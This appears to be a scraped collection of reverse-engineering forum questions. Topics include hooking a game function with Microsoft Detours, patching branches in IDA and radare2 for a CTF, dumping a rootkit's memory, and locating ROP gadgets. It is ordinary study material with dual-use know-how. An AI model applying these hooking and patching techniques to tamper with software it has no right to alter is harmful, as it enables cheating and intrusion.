+2- How I can find copy_block? +Thanks +" +"['assembly', 'javascript', 'byte-code', 'virtualizers']"," Title: Where to start with reversing a custom JavaScript VM?Body: I have recently ran into the most heavy JavaScript obfuscation I've seen. It is using a custom VM to execute bytecodes. I have never dealt with such obfuscation, and I am wondering where I can start to decompile the script. Not asking to be spoonfed, just looking for some tips! Thanks! +" +['bluetooth']," Title: reverse engineering bluetooth smart thermostat payloadBody: I am trying to reverse engineering an ENSTO "smart" bluetooth thermostat, which i just got installed in the house. The thermostat due to some technical and electrical challenges sometimes got placed at weird positions, so I thought, I am giving this a try, and see how far I can get. +In their official app, i was playing around to generat some log, so I managed to sniff the bluetooth packages, then using wireshark, noticated some patterns, but having hard times actually understanding them: + +The first 01 or 00 definitely indicates whether we are increasing or decreasing, but what the rest could be? +Any tips, ideas, and suggestions are welcome! +I am a fullstack engineer, and pretty new all these iot and smarthome things, but trying my best. +

+ACTION  PAYLOAD
+INCREASE_BY_5_IN_ONE_HOUR   Value: 01f401143c003c00
+DECREASE_BY_5_IN_ONE_HOUR   Value: 00f401143c003c00
+    
+INCREASE_BY_3_IN_ONE_HOUR   Value: 012c010a3c003c00
+DECREASE_BY_3_IN_ONE_HOUR   Value: 002c010a3c003c00
+    
+INCREASE_BY_1_IN_3_HOURS    Value: 01640014b400b400
+DECREASE_BY_1_IN_3_HOURS    Value: 00640014b400b400
+
+Thank you! +" +"['ida', 'stack']"," Title: IDA stack depth differences when branchingBody: I'm decompiling some Direct3D code that makes a lot of indirect calls to __stdcall functions. +For example: +
call dword ptr [edx+0xC8h]
+
+which is really: +
pD3DDevice->SetRenderState();
+
+IDA doesn't correctly guess the stack pointer change of these calls in every case, so I have to go through and Alt+K the correct SP value manually. +But after doing this I start running into a problem where one side of a branch will have the wrong SP value + +I can Alt-K the first instruction with the erroneous SP value but this only takes effect on the next instruction. +" +"['x86', 'radare2', 'register']"," Title: How to change local_184h to skip past jump commands with Radare2?Body: I am trying to solve a CTF challenge but I am very much out of my depth and nothing online is helping me very much. This is what I'm working with currently +
|           0x55b3fd508a41      4889e5         mov rbp, rsp                                                                                                   
+|           0x55b3fd508a44      4881ec900100.  sub rsp, 0x190                                                                                                 
+|           0x55b3fd508a4b      89bd7cfeffff   mov dword [local_184h], edi       ; argc                                                                       
+|           0x55b3fd508a51      4889b570feff.  mov qword [local_190h], rsi       ; argv                                                                       
+|           0x55b3fd508a58      64488b042528.  mov rax, qword fs:[0x28]       ; [0x28:8]=-1 ; '(' ; 40                                                        
+|           0x55b3fd508a61      488945f8       mov qword [local_8h], rax                                                                                      
+|           0x55b3fd508a65      31c0           xor eax, eax                                                                                                   
+|           0x55b3fd508a67      c78588feffff.  mov dword [local_178h], 0x2d       ; '-' ; 45                                                                  
+|           0x55b3fd508a71      c7858cfeffff.  mov dword [local_174h], 0x32       ; '2' ; 50                                                                  
+|           0x55b3fd508a7b      83bd7cfeffff.  cmp dword [local_184h], 1       ; rdi ; [0x1:4]=-1                                                             
+|       ,=< 0x55b3fd508a82      0f8e77010000   jle 0x55b3fd508bff      ;[1]                                                                                   
+|       |   0x55b3fd508a88      488b8570feff.  mov rax, qword [local_190h]                                                                                    
+|       |   0x55b3fd508a8f      4883c008       add rax, 8                                                                                                     
+|       |   0x55b3fd508a93      488b00         mov rax, qword [rax]                                                                                           
+|       |   0x55b3fd508a96      488d35fb0200.  lea rsi, str.calc       ; 0x55b3fd508d98 ; "calc"                                                              
+|       |   0x55b3fd508a9d      4889c7         mov rdi, rax   
+
+I am interested in the line 0x55b3fd508a7b, what does local_184h mean? How do I edit this value in order to change the result of the upcoming jle? Or, how do I change the result of the jle command without having to change local_184h? I read that it checks the sign flag so I edited the rflags register to be 0x0080 less than it was, hoping that would change the outcome of the jle but it didn't. +" +"['ida', 'x64dbg']"," Title: Debug with IDA Pro right click optionBody: So I was wondering if is there a way for IDA to appears in the righ click options of an executable. + +As you can see, Debug with x64dbg was built by itself, IDA 32 didn't do, so I just changed it in the Registry Editor, which it works, but it doesn't show the IDA's icon, also I'm pretty sure this not the right way since I saw some people with this option just like x64dbg is doing it. +Thanks! +" +"['x86', 'kernel', 'documentation']"," Title: Where is the IMCR defined in the docs?Body: I'm currently programming a x64 kernel and need to set the Apic mode to symmetric I/O Mode. The Multiprocessor Specification from Intel at Page 31 says that to enable this mode you have to write 01H to the IMCR memory register. The problem is that this memory register (has to be accessed over outb/inb) is absolutely nowhere documented. +Can someone point me to the official spec where it's written down? +" +"['ida', 'c++', 'function-hooking']"," Title: how to hook __usercall function with microsoft detoursBody: I need to hook a __usercall function in particular I need to read only the first parameter: +
char __usercall sub_4F3E6D@<al>(char *Src@<ecx>, int a2@<edx>, int a3, int a4, char a5, char a6, char a7, char a8, int a9)
+{
+  int v9; // edi
+  char v10; // bl
+  char *v11; // esi
+  unsigned __int8 v12; // al
+  signed int v13; // edx
+  int v14; // eax
+  signed int v15; // eax
+  signed int v16; // edi
+  char *v17; // eax
+  char *v18; // esi
+  float v20; // xmm1_4
+  size_t v21; // ST04_4
+  float v22; // [esp+18h] [ebp-A8h]
+  int v23; // [esp+1Ch] [ebp-A4h]
+  char v24; // [esp+24h] [ebp-9Ch]
+  int v25; // [esp+2Ch] [ebp-94h]
+  char Dst; // [esp+40h] [ebp-80h]
+  int v27; // [esp+98h] [ebp-28h]
+  int v28; // [esp+9Ch] [ebp-24h]
+  float v29; // [esp+ACh] [ebp-14h]
+  float v30; // [esp+B0h] [ebp-10h]
+
+  v9 = a2;
+  v10 = 0;
+  v11 = Src;
+  v23 = a2;
+  if ( a9 )
+    *(_DWORD *)a9 = 0;
+  if ( !dword_897628 || !Src || !*Src )
+    return 0;
+  if ( a6 )
+  {
+    v12 = *((_BYTE *)dword_8CF880 + 2232);
+  }
+  else if ( a7 )
+  {
+    v12 = *((_BYTE *)dword_8CF880 + 2234);
+  }
+  else
+  {
+    v12 = a8 ? *((_BYTE *)dword_8CF880 + 2233) : *((_BYTE *)dword_8CF880 + 2252);
+  }
+  v22 = (float)v12 * 0.0099999998;
+  if ( v22 < 0.0099999998 && a2 != 1481317962 )
+    return 0;
+  if ( sub_4F4463(a2, 0) )
+    return 0;
+  memset(&Dst, 0, 0x78u);
+  sub_410BA2(&Dst, 3);
+  if ( a6 )
+  {
+    v28 = 9;
+  }
+  else if ( a7 )
+  {
+    v27 |= 4u;
+  }
+  else if ( !a8 )
+  {
+    v27 |= 0x40000u;
+  }
+  v13 = 1;
+  if ( a5 || a6 )
+  {
+    v14 = v27 | 1;
+    v27 |= 1u;
+    if ( a6 )
+      v27 = v14 | 8;
+  }
+  if ( *(float *)&a3 > 0.0099999998 )
+    sub_4F0812(&Dst, 1);
+  sub_4F0855(&Dst, v13);
+  v27 |= 0x40u;
+  *(_DWORD *)a4 = 0;
+  v30 = fminf(fmaxf(v22, 0.0), 1.0);
+  v29 = v30;
+  sub_410B78(&v24);
+  v15 = v25;
+  if ( a5 )
+    v15 = 1;
+  v25 = v15;
+  v16 = v9 == 1481317962 ? 2147483646 : sub_4F353D(&v24, 0);
+  if ( !(unsigned __int8)sub_4F349C(v16) )
+    return 0;
+  v17 = sub_4F1BBB(v11, v23, 0, (int)&Dst);
+  v18 = v17;
+  if ( !v17 )
+    return 0;
+  if ( dword_897628 )
+    v10 = sub_4F11D7(v17, &v24);
+  if ( !v10 )
+  {
+    sub_4F3A95(v18);
+    return 0;
+  }
+  if ( v18[34] )
+    v20 = 9999.0;
+  else
+    v20 = (float)*(signed int *)(*((_DWORD *)v18 + 3) + 172) / (float)*(unsigned int *)(*((_DWORD *)v18 + 3) + 156);
+  *(float *)a4 = v20;
+  v21 = dword_897634;
+  *((_DWORD *)v18 + 5) = v16;
+  qsort(dword_897650, v21, 4u, sub_4F37D5);
+  if ( a9 )
+    *(_DWORD *)a9 = *(_DWORD *)v18;
+  return 1;
+}
+
+here the assemply: +
.text:004F3E6D ; =============== S U B R O U T I N E =======================================
+.text:004F3E6D
+.text:004F3E6D ; Attributes: bp-based frame
+.text:004F3E6D
+.text:004F3E6D ; int __usercall sub_4F3E6D@<eax>(char *Src@<ecx>, int, int, char, char, char, char, int)
+.text:004F3E6D sub_4F3E6D      proc near               ; CODE XREF: StartAudio2D(char const * const,float,float,float,bool,bool)+3B↑p
+.text:004F3E6D                                         ; sub_4EDCE9+14E↑p ...
+.text:004F3E6D
+.text:004F3E6D var_B0          = dword ptr -0B0h
+.text:004F3E6D var_AC          = dword ptr -0ACh
+.text:004F3E6D var_A8          = dword ptr -0A8h
+.text:004F3E6D var_A4          = dword ptr -0A4h
+.text:004F3E6D var_A0          = dword ptr -0A0h
+.text:004F3E6D var_9C          = byte ptr -9Ch
+.text:004F3E6D var_94          = dword ptr -94h
+.text:004F3E6D Dst             = byte ptr -80h
+.text:004F3E6D var_28          = dword ptr -28h
+.text:004F3E6D var_24          = dword ptr -24h
+.text:004F3E6D var_14          = dword ptr -14h
+.text:004F3E6D var_10          = dword ptr -10h
+.text:004F3E6D var_4           = dword ptr -4
+.text:004F3E6D arg_0           = dword ptr  8
+.text:004F3E6D arg_4           = dword ptr  0Ch
+.text:004F3E6D arg_8           = byte ptr  10h
+.text:004F3E6D arg_C           = byte ptr  14h
+.text:004F3E6D arg_10          = byte ptr  18h
+.text:004F3E6D arg_14          = byte ptr  1Ch
+.text:004F3E6D arg_18          = dword ptr  20h
+.text:004F3E6D
+.text:004F3E6D                 push    ebp
+.text:004F3E6E                 mov     ebp, esp
+.text:004F3E70                 and     esp, 0FFFFFFF8h
+.text:004F3E73                 sub     esp, 0B4h
+.text:004F3E79                 mov     eax, ___security_cookie
+.text:004F3E7E                 xor     eax, esp
+.text:004F3E80                 mov     [esp+0B4h+var_4], eax
+.text:004F3E87                 mov     eax, [ebp+arg_4]
+.text:004F3E8A                 push    ebx
+.text:004F3E8B                 push    esi
+.text:004F3E8C                 push    edi
+.text:004F3E8D                 mov     [esp+0C0h+var_B0], eax
+.text:004F3E91                 mov     edi, edx
+.text:004F3E93                 mov     eax, [ebp+arg_18]
+.text:004F3E96                 xor     ebx, ebx
+.text:004F3E98                 movss   [esp+0C0h+var_AC], xmm3
+.text:004F3E9E                 mov     esi, ecx
+.text:004F3EA0                 mov     [esp+0C0h+var_A4], edi
+.text:004F3EA4                 mov     [esp+0C0h+var_A0], eax
+.text:004F3EA8                 test    eax, eax
+.text:004F3EAA                 jz      short loc_4F3EAE
+.text:004F3EAC                 mov     [eax], ebx
+.text:004F3EAE
+.text:004F3EAE loc_4F3EAE:                             ; CODE XREF: sub_4F3E6D+3D↑j
+.text:004F3EAE                 cmp     dword_897628, ebx
+.text:004F3EB4                 jz      loc_4F4093
+.text:004F3EBA                 test    esi, esi
+.text:004F3EBC                 jz      loc_4F4093
+.text:004F3EC2                 cmp     [esi], bl
+.text:004F3EC4                 jz      loc_4F4093
+.text:004F3ECA                 mov     eax, dword_8CF880
+.text:004F3ECF                 cmp     [ebp+arg_C], bl
+.text:004F3ED2                 jz      short loc_4F3EDC
+.text:004F3ED4                 mov     al, [eax+8B8h]
+.text:004F3EDA                 jmp     short loc_4F3EFC
+.text:004F3EDC ; ---------------------------------------------------------------------------
+.text:004F3EDC
+.text:004F3EDC loc_4F3EDC:                             ; CODE XREF: sub_4F3E6D+65↑j
+.text:004F3EDC                 cmp     [ebp+arg_10], bl
+.text:004F3EDF                 jz      short loc_4F3EE9
+.text:004F3EE1                 mov     al, [eax+8BAh]
+.text:004F3EE7                 jmp     short loc_4F3EFC
+.text:004F3EE9 ; ---------------------------------------------------------------------------
+.text:004F3EE9
+.text:004F3EE9 loc_4F3EE9:                             ; CODE XREF: sub_4F3E6D+72↑j
+.text:004F3EE9                 cmp     [ebp+arg_14], bl
+.text:004F3EEC                 jz      short loc_4F3EF6
+.text:004F3EEE                 mov     al, [eax+8B9h]
+.text:004F3EF4                 jmp     short loc_4F3EFC
+.text:004F3EF6 ; ---------------------------------------------------------------------------
+.text:004F3EF6
+.text:004F3EF6 loc_4F3EF6:                             ; CODE XREF: sub_4F3E6D+7F↑j
+.text:004F3EF6                 mov     al, [eax+8CCh]
+.text:004F3EFC
+.text:004F3EFC loc_4F3EFC:                             ; CODE XREF: sub_4F3E6D+6D↑j
+.text:004F3EFC                                         ; sub_4F3E6D+7A↑j ...
+.text:004F3EFC                 movss   xmm1, ds:dword_82A2D8
+.text:004F3F04                 movzx   eax, al
+.text:004F3F07                 movd    xmm0, eax
+.text:004F3F0B                 cvtdq2ps xmm0, xmm0
+.text:004F3F0E                 mulss   xmm0, xmm1
+.text:004F3F12                 comiss  xmm1, xmm0
+.text:004F3F15                 movss   [esp+0C0h+var_A8], xmm0
+.text:004F3F1B                 jbe     short loc_4F3F29
+.text:004F3F1D                 cmp     edi, 584B1E4Ah
+.text:004F3F23                 jnz     loc_4F4093
+.text:004F3F29
+.text:004F3F29 loc_4F3F29:                             ; CODE XREF: sub_4F3E6D+AE↑j
+.text:004F3F29                 xor     edx, edx
+.text:004F3F2B                 mov     ecx, edi
+.text:004F3F2D                 call    sub_4F4463
+.text:004F3F32                 test    eax, eax
+.text:004F3F34                 jnz     loc_4F4093
+.text:004F3F3A                 push    78h             ; Size
+.text:004F3F3C                 lea     eax, [esp+0C4h+Dst]
+.text:004F3F40                 push    ebx             ; Val
+.text:004F3F41                 push    eax             ; Dst
+.text:004F3F42                 call    memset
+.text:004F3F47                 add     esp, 0Ch
+.text:004F3F4A                 lea     ecx, [esp+0C0h+Dst] ; Dst
+.text:004F3F4E                 push    3               ; int
+.text:004F3F50                 call    sub_410BA2
+.text:004F3F55                 mov     cl, [ebp+arg_C]
+.text:004F3F58                 test    cl, cl
+.text:004F3F5A                 jz      short loc_4F3F69
+.text:004F3F5C                 mov     [esp+0C0h+var_24], 9
+.text:004F3F67                 jmp     short loc_4F3F88
+.text:004F3F69 ; ---------------------------------------------------------------------------
+.text:004F3F69
+.text:004F3F69 loc_4F3F69:                             ; CODE XREF: sub_4F3E6D+ED↑j
+.text:004F3F69                 cmp     [ebp+arg_10], bl
+.text:004F3F6C                 jz      short loc_4F3F78
+.text:004F3F6E                 or      [esp+0C0h+var_28], 4
+.text:004F3F76                 jmp     short loc_4F3F88
+.text:004F3F78 ; ---------------------------------------------------------------------------
+.text:004F3F78
+.text:004F3F78 loc_4F3F78:                             ; CODE XREF: sub_4F3E6D+FF↑j
+.text:004F3F78                 cmp     [ebp+arg_14], bl
+.text:004F3F7B                 jnz     short loc_4F3F88
+.text:004F3F7D                 or      [esp+0C0h+var_28], 40000h
+.text:004F3F88
+.text:004F3F88 loc_4F3F88:                             ; CODE XREF: sub_4F3E6D+FA↑j
+.text:004F3F88                                         ; sub_4F3E6D+109↑j ...
+.text:004F3F88                 xor     edx, edx
+.text:004F3F8A                 inc     edx
+.text:004F3F8B                 cmp     [ebp+arg_8], bl
+.text:004F3F8E                 jnz     short loc_4F3F94
+.text:004F3F90                 test    cl, cl
+.text:004F3F92                 jz      short loc_4F3FB2
+.text:004F3F94
+.text:004F3F94 loc_4F3F94:                             ; CODE XREF: sub_4F3E6D+121↑j
+.text:004F3F94                 mov     eax, [esp+0C0h+var_28]
+.text:004F3F9B                 or      eax, edx
+.text:004F3F9D                 mov     [esp+0C0h+var_28], eax
+.text:004F3FA4                 test    cl, cl
+.text:004F3FA6                 jz      short loc_4F3FB2
+.text:004F3FA8                 or      eax, 8
+.text:004F3FAB                 mov     [esp+0C0h+var_28], eax
+.text:004F3FB2
+.text:004F3FB2 loc_4F3FB2:                             ; CODE XREF: sub_4F3E6D+125↑j
+.text:004F3FB2                                         ; sub_4F3E6D+139↑j
+.text:004F3FB2                 movss   xmm1, [ebp+arg_0]
+.text:004F3FB7                 comiss  xmm1, ds:dword_82A2D8
+.text:004F3FBE                 jbe     short loc_4F3FC9
+.text:004F3FC0                 lea     ecx, [esp+0C0h+Dst]
+.text:004F3FC4                 call    sub_4F0812
+.text:004F3FC9
+.text:004F3FC9 loc_4F3FC9:                             ; CODE XREF: sub_4F3E6D+151↑j
+.text:004F3FC9                 movss   xmm1, [esp+0C0h+var_AC]
+.text:004F3FCF                 lea     ecx, [esp+0C0h+Dst]
+.text:004F3FD3                 call    sub_4F0855
+.text:004F3FD8                 movss   xmm0, [esp+0C0h+var_A8]
+.text:004F3FDE                 lea     ecx, [esp+0C0h+var_9C]
+.text:004F3FE2                 maxss   xmm0, ds:dword_82A218
+.text:004F3FEA                 mov     eax, [esp+0C0h+var_B0]
+.text:004F3FEE                 or      [esp+0C0h+var_28], 40h
+.text:004F3FF6                 minss   xmm0, ds:dword_82A46C
+.text:004F3FFE                 and     [eax], ebx
+.text:004F4000                 movss   [esp+0C0h+var_10], xmm0
+.text:004F4009                 movss   [esp+0C0h+var_14], xmm0
+.text:004F4012                 call    sub_410B78
+.text:004F4017                 cmp     [ebp+arg_8], bl
+.text:004F401A                 mov     eax, [esp+0C0h+var_94]
+.text:004F401E                 push    1
+.text:004F4020                 pop     ecx
+.text:004F4021                 cmovnz  eax, ecx
+.text:004F4024                 mov     [esp+0C0h+var_94], eax
+.text:004F4028                 cmp     edi, 584B1E4Ah
+.text:004F402E                 jnz     short loc_4F4037
+.text:004F4030                 mov     edi, 7FFFFFFEh
+.text:004F4035                 jmp     short loc_4F404F
+.text:004F4037 ; ---------------------------------------------------------------------------
+.text:004F4037
+.text:004F4037 loc_4F4037:                             ; CODE XREF: sub_4F3E6D+1C1↑j
+.text:004F4037                 lea     eax, [esp+0C0h+var_9C]
+.text:004F403B                 mov     ecx, offset unk_59D561C
+.text:004F4040                 push    ebx
+.text:004F4041                 push    eax
+.text:004F4042                 lea     edx, [esp+0C8h+Dst]
+.text:004F4046                 call    sub_4F353D
+.text:004F404B                 pop     ecx
+.text:004F404C                 pop     ecx
+.text:004F404D                 mov     edi, eax
+.text:004F404F
+.text:004F404F loc_4F404F:                             ; CODE XREF: sub_4F3E6D+1C8↑j
+.text:004F404F                 mov     ecx, edi
+.text:004F4051                 call    sub_4F349C
+.text:004F4056                 test    al, al
+.text:004F4058                 jz      short loc_4F4093
+.text:004F405A                 mov     edx, [esp+0C0h+var_A4]
+.text:004F405E                 lea     eax, [esp+0C0h+Dst]
+.text:004F4062                 push    eax             ; int
+.text:004F4063                 push    ebx             ; int
+.text:004F4064                 mov     ecx, esi        ; Src
+.text:004F4066                 call    sub_4F1BBB
+.text:004F406B                 mov     esi, eax
+.text:004F406D                 pop     ecx
+.text:004F406E                 pop     ecx
+.text:004F406F                 test    esi, esi
+.text:004F4071                 jz      short loc_4F4093
+.text:004F4073                 cmp     dword_897628, ebx
+.text:004F4079                 jz      short loc_4F4088
+.text:004F407B                 lea     edx, [esp+0C0h+var_9C]
+.text:004F407F                 mov     ecx, esi
+.text:004F4081                 call    sub_4F11D7
+.text:004F4086                 mov     bl, al
+.text:004F4088
+.text:004F4088 loc_4F4088:                             ; CODE XREF: sub_4F3E6D+20C↑j
+.text:004F4088                 test    bl, bl
+.text:004F408A                 jnz     short loc_4F40AA
+.text:004F408C                 mov     ecx, esi
+.text:004F408E                 call    sub_4F3A95
+.text:004F4093
+.text:004F4093 loc_4F4093:                             ; CODE XREF: sub_4F3E6D+47↑j
+.text:004F4093                                         ; sub_4F3E6D+4F↑j ...
+.text:004F4093                 xor     al, al
+.text:004F4095
+.text:004F4095 loc_4F4095:                             ; CODE XREF: sub_4F3E6D+2B2↓j
+.text:004F4095                 mov     ecx, [esp+0C0h+var_4]
+.text:004F409C                 pop     edi
+.text:004F409D                 pop     esi
+.text:004F409E                 pop     ebx
+.text:004F409F                 xor     ecx, esp
+.text:004F40A1                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
+.text:004F40A6                 mov     esp, ebp
+.text:004F40A8                 pop     ebp
+.text:004F40A9                 retn
+.text:004F40AA ; ---------------------------------------------------------------------------
+.text:004F40AA
+.text:004F40AA loc_4F40AA:                             ; CODE XREF: sub_4F3E6D+21D↑j
+.text:004F40AA                 cmp     byte ptr [esi+22h], 0
+.text:004F40AE                 jnz     short loc_4F40E2
+.text:004F40B0                 mov     eax, [esi+0Ch]
+.text:004F40B3                 movd    xmm1, dword ptr [eax+0ACh]
+.text:004F40BB                 mov     eax, [eax+9Ch]
+.text:004F40C1                 cvtdq2ps xmm1, xmm1
+.text:004F40C4                 movd    xmm0, eax
+.text:004F40C8                 cvtdq2pd xmm0, xmm0
+.text:004F40CC                 shr     eax, 1Fh
+.text:004F40CF                 addsd   xmm0, ds:qword_82C2D0[eax*8]
+.text:004F40D8                 cvtpd2ps xmm0, xmm0
+.text:004F40DC                 divss   xmm1, xmm0
+.text:004F40E0                 jmp     short loc_4F40EA
+.text:004F40E2 ; ---------------------------------------------------------------------------
+.text:004F40E2
+.text:004F40E2 loc_4F40E2:                             ; CODE XREF: sub_4F3E6D+241↑j
+.text:004F40E2                 movss   xmm1, ds:dword_82A910
+.text:004F40EA
+.text:004F40EA loc_4F40EA:                             ; CODE XREF: sub_4F3E6D+273↑j
+.text:004F40EA                 mov     eax, [esp+0C0h+var_B0]
+.text:004F40EE                 push    offset sub_4F37D5 ; PtFuncCompare
+.text:004F40F3                 push    4               ; SizeOfElements
+.text:004F40F5                 movss   dword ptr [eax], xmm1
+.text:004F40F9                 push    dword_897634    ; NumOfElements
+.text:004F40FF                 mov     [esi+14h], edi
+.text:004F4102                 push    offset dword_897650 ; Base
+.text:004F4107                 call    ds:qsort
+.text:004F410D                 mov     edx, [esp+0D0h+var_A0]
+.text:004F4111                 add     esp, 10h
+.text:004F4114                 test    edx, edx
+.text:004F4116                 jz      short loc_4F411C
+.text:004F4118                 mov     ecx, [esi]
+.text:004F411A                 mov     [edx], ecx
+.text:004F411C
+.text:004F411C loc_4F411C:                             ; CODE XREF: sub_4F3E6D+2A9↑j
+.text:004F411C                 xor     eax, eax
+.text:004F411E                 inc     eax
+.text:004F411F                 jmp     loc_4F4095
+.text:004F411F sub_4F3E6D      endp
+
+here there is one xref of this function: +
int v6; // eax
+  int v8; // [esp+1Ch] [ebp-8h]
+  int v9; // [esp+20h] [ebp-4h]
+
+  v9 = 0;
+  v6 = sub_73A34B(a1, 0);
+  sub_4F3E6D((char *)a1, v6, SLODWORD(a4), (int)&v9, a5, a6, 0, 0, (int)&v8);
+
+I don't have experience in assembly I have tried with this code: +
// char __usercall sub_4F3E6D@<al>(char *Src@<ecx>, int a2@<edx>, int a3, int a4, char a5, char a6, char a7, char a8, int a9)
+    
+    typedef char(__fastcall *HookFile) (char* src, int a2, int a3, int a4, char a5, char a6, char a7, char a8, int a9);
+    
+    __declspec(naked) char HookSoundFileSub(char* src, int a2, int a3, int a4, char a5, char a6, char a7, char a8, int a9)
+    {
+        HookFile originalFunction = (HookFile)AddressOfHookSoundFunction; // 0x4F4463
+    
+        __asm {
+            mov ecx, src
+            mov edx, a2
+            call AddressOfHookSoundFunction
+        }
+    
+    
+        // Apply  my code
+        // std::string FileName;
+        // FileName = SC::To_String(src);
+        // .....
+        
+        return originalFunction(src, a2,a3,a4,a5,a6,a7,a8,a9);
+    }
+
+
+
+   // DetourAttach(&(LPVOID&)AddressOfHookSoundFunction, &HookSoundFileSub);
+
+but not compile becouse naked function seem not allow to add code apart the assembly. +Can you help me please ? +" +"['ida', 'windows', 'unpacking', 'dumping', 'kernel']"," Title: How to keep symbols when taking memory snapshot with IDA?Body: When i take memory snapshot with IDA to try to analyze it statically later, the problem is there are a lot of symbols that get lost when i dump the memory, how can i solve this? +for example this is the dump before : +
rootkit:84582008 40 DE A4 82                             dd offset nt_memcpy
+rootkit:8458200C C1 BA C7 82                             dd offset nt_RtlFreeUnicodeString
+rootkit:84582010 10 AF AC 82                             dd offset nt_RtlEqualString
+rootkit:84582014 20 D5 A4 82                             dd offset nt_RtlInitAnsiString
+rootkit:84582018 BA 6A B3 82                             dd offset nt_ExFreePoolWithTag
+rootkit:8458201C 9B D2 C7 82                             dd offset nt_RtlUnicodeStringToAnsiString
+rootkit:84582020 05 60 B3 82                             dd offset nt_ExAllocatePoolWithTag
+rootkit:84582024 58 12 A5 82                             dd offset nt_ZwQuerySystemInformation
+rootkit:84582028 C0 E4 A4 82                             dd offset nt_memset
+rootkit:8458202C DC 01 A5 82                             dd offset nt_ZwClose
+rootkit:84582030 1C 03 A5 82                             dd offset nt_ZwCreateFile
+rootkit:84582034 35 9A C3 82                             dd offset nt_RtlEqualUnicodeString
+rootkit:84582038 6F DF C7 82                             dd offset nt_ObQueryNameString
+rootkit:8458203C 83 D2 A8 82                             dd offset nt_ObfDereferenceObjec
+
+after i take the memory snapshot and detach from kernel : +
rootkit:84582000                 dd 82A851FEh
+rootkit:84582004                 dd 82A84D9Bh
+rootkit:84582008                 dd 82A4DE40h
+rootkit:8458200C                 dd 82C7BAC1h
+rootkit:84582010                 dd 82ACAF10h
+rootkit:84582014                 dd 82A4D520h
+rootkit:84582018                 dd 82B36ABAh
+rootkit:8458201C                 dd 82C7D29Bh
+rootkit:84582020                 dd 82B36005h
+rootkit:84582024                 dd 82A51258h
+rootkit:84582028                 dd 82A4E4C0h
+rootkit:8458202C                 dd 82A501DCh
+rootkit:84582030                 dd 82A5031Ch
+rootkit:84582034                 dd 82C39A35h
+rootkit:84582038                 dd 82C7DF6Fh
+rootkit:8458203C                 dd 82A8D283h 
+
+" +"['ida', 'arm']"," Title: Change function call to another function call in arm using IDABody: Is it possible to patch arm lib in a way that changes branch instruction calling one function to another function call? +I have instruction +
B function_a
+
+and want change it to: +
B function_b 
+
+" +['ida']," Title: IDA Set struct array to use enum valuesBody: How can I tell IDA what the indexes of an array in a struct are? I think I need to tell it to use an enum, but I'm not sure how. I'm working on Practical Reverse Engineering and following the x86 Rootkit walkthrough in Chapter 3. +It walks through reversing the setup of the DriverObject function pointers here: +
01: .text:00010643   mov     ecx, [ebp+DriverObject]
+02: .text:00010646   mov     dword ptr [ecx+38h], offset sub_10300
+03: .text:0001064D   mov     edx, [ebp+DriverObject]
+04: .text:00010650   mov     dword ptr [edx+40h], offset sub_10300
+05: .text:00010657   mov     eax, [ebp+DriverObject]
+06: .text:0001065A   mov     dword ptr [eax+70h], offset sub_10300
+07: .text:00010661   mov     ecx, [ebp+DriverObject]
+08: .text:00010664   mov     dword ptr [ecx+34h], offset sub_10580
+
+Following along, I have a Driver_Object struct defined, and IDA picks up the MajorFunction offset +
.text:00010643 mov     ecx, [ebp+DriverObject]
+.text:00010646 mov     [ecx+_DRIVER_OBJECT.MajorFunction], offset sub_10300
+.text:0001064D mov     edx, [ebp+DriverObject]
+.text:00010650 mov     [edx+(_DRIVER_OBJECT.MajorFunction+8)], offset sub_10300
+.text:00010657 mov     eax, [ebp+DriverObject]
+.text:0001065A mov     [eax+(_DRIVER_OBJECT.MajorFunction+38h)], offset sub_10300
+.text:00010661 mov     ecx, [ebp+DriverObject]
+.text:00010664 mov     [ecx+_DRIVER_OBJECT.DriverUnload], offset driverUnload
+
+MajorFunction is defined as an array, but I'd like to get IDA to display what those offsets represent. wdm.h defines the offsets as follows: +
#define IRP_MJ_CREATE                   0x00
+#define IRP_MJ_CREATE_NAMED_PIPE        0x01
+#define IRP_MJ_CLOSE                    0x02
+...
+
+Basically, I'd like to see something like the following in the disassembly: +
.text:0001064D mov     edx, [ebp+DriverObject]
+.text:00010650 mov     [edx+(_DRIVER_OBJECT.MajorFunction+IRP_MJ_CLOSE)], offset sub_10300
+.text:00010657 mov     eax, [ebp+DriverObject]
+.text:0001065A mov     [eax+(_DRIVER_OBJECT.MajorFunction+IRP_MJ_DEVICE_CONTROL)], offset sub_10300
+
+IDA has the Driver Object defined as follows: +
struct __declspec(align(4)) _DRIVER_OBJECT
+{
+  ...
+  void (__stdcall *DriverUnload)(_DRIVER_OBJECT *);
+  int (__stdcall *MajorFunction[28])(_DEVICE_OBJECT *, _IRP *);
+};
+
+" +"['disassembly', 'assembly', 'ghidra', 'exploit']"," Title: Finding Ropper/ROPgadget offsets in Ghidra disassemblyBody: How is the offsets returned from ROP gadget finders related to the files they come from? For example, if the ROP gadget finder says that a certain gadget is at offset 0x0002ae74 in libuClibc.0.9.3.so where should I go to look for the gadget in libuClibc.0.9.3.so? +" +['ida']," Title: How to go to the variable's stored location directly in decompiler mode of IDA?Body: When i'm debugging a code in decompiler mode, one problem i face is that when i double click on a variable, it goes to "stack locations" instead of the actual address that the variable/structure is stored : +
-0000002C KeyHandle dd ?                          ; offset
+-00000028 RegistryPath LSA_UNICODE_STRING ?
+-00000020 var_20 dd ?
+-0000001C var_1C dd ?
+-00000018 var_18 dd ?
+-00000014 var_14 dd ?
+-00000010 var_10 dd ?
+-0000000C var_C dd ?
+-00000008 var_8 dd ?
+
+And clicking on the variable names in above tab doesn't go to the address either. +also I'm not sure why but everytime, all the values of this place are "?", which is not really useful, so in order for me to go to actually go to the address this variable is stored, i have to point my mouse on it, find its address, then write it in cntrl+g to go there. +it would be a lot better if i could just click on the variable and it went to the address that this variable is stored, is there any way i can do this? +" +"['java', 'decompiler', 'byte-code']"," Title: Recaf: Recompile disabled, can't editBody: I've download recaf jar file and install JDK 8. When I execute it/start it, it all works fine with java -jar recaf-2.12.0-J8-jar-with-dependencies.jar. I open a class file also no problem. The issue is when I try to edit it is disabled saying: +
// =============================================== //
+// Recompile disabled. Please run Recaf with a JDK //
+// =============================================== //
+
+// Decompiled with: CFR 0.150
+...
+
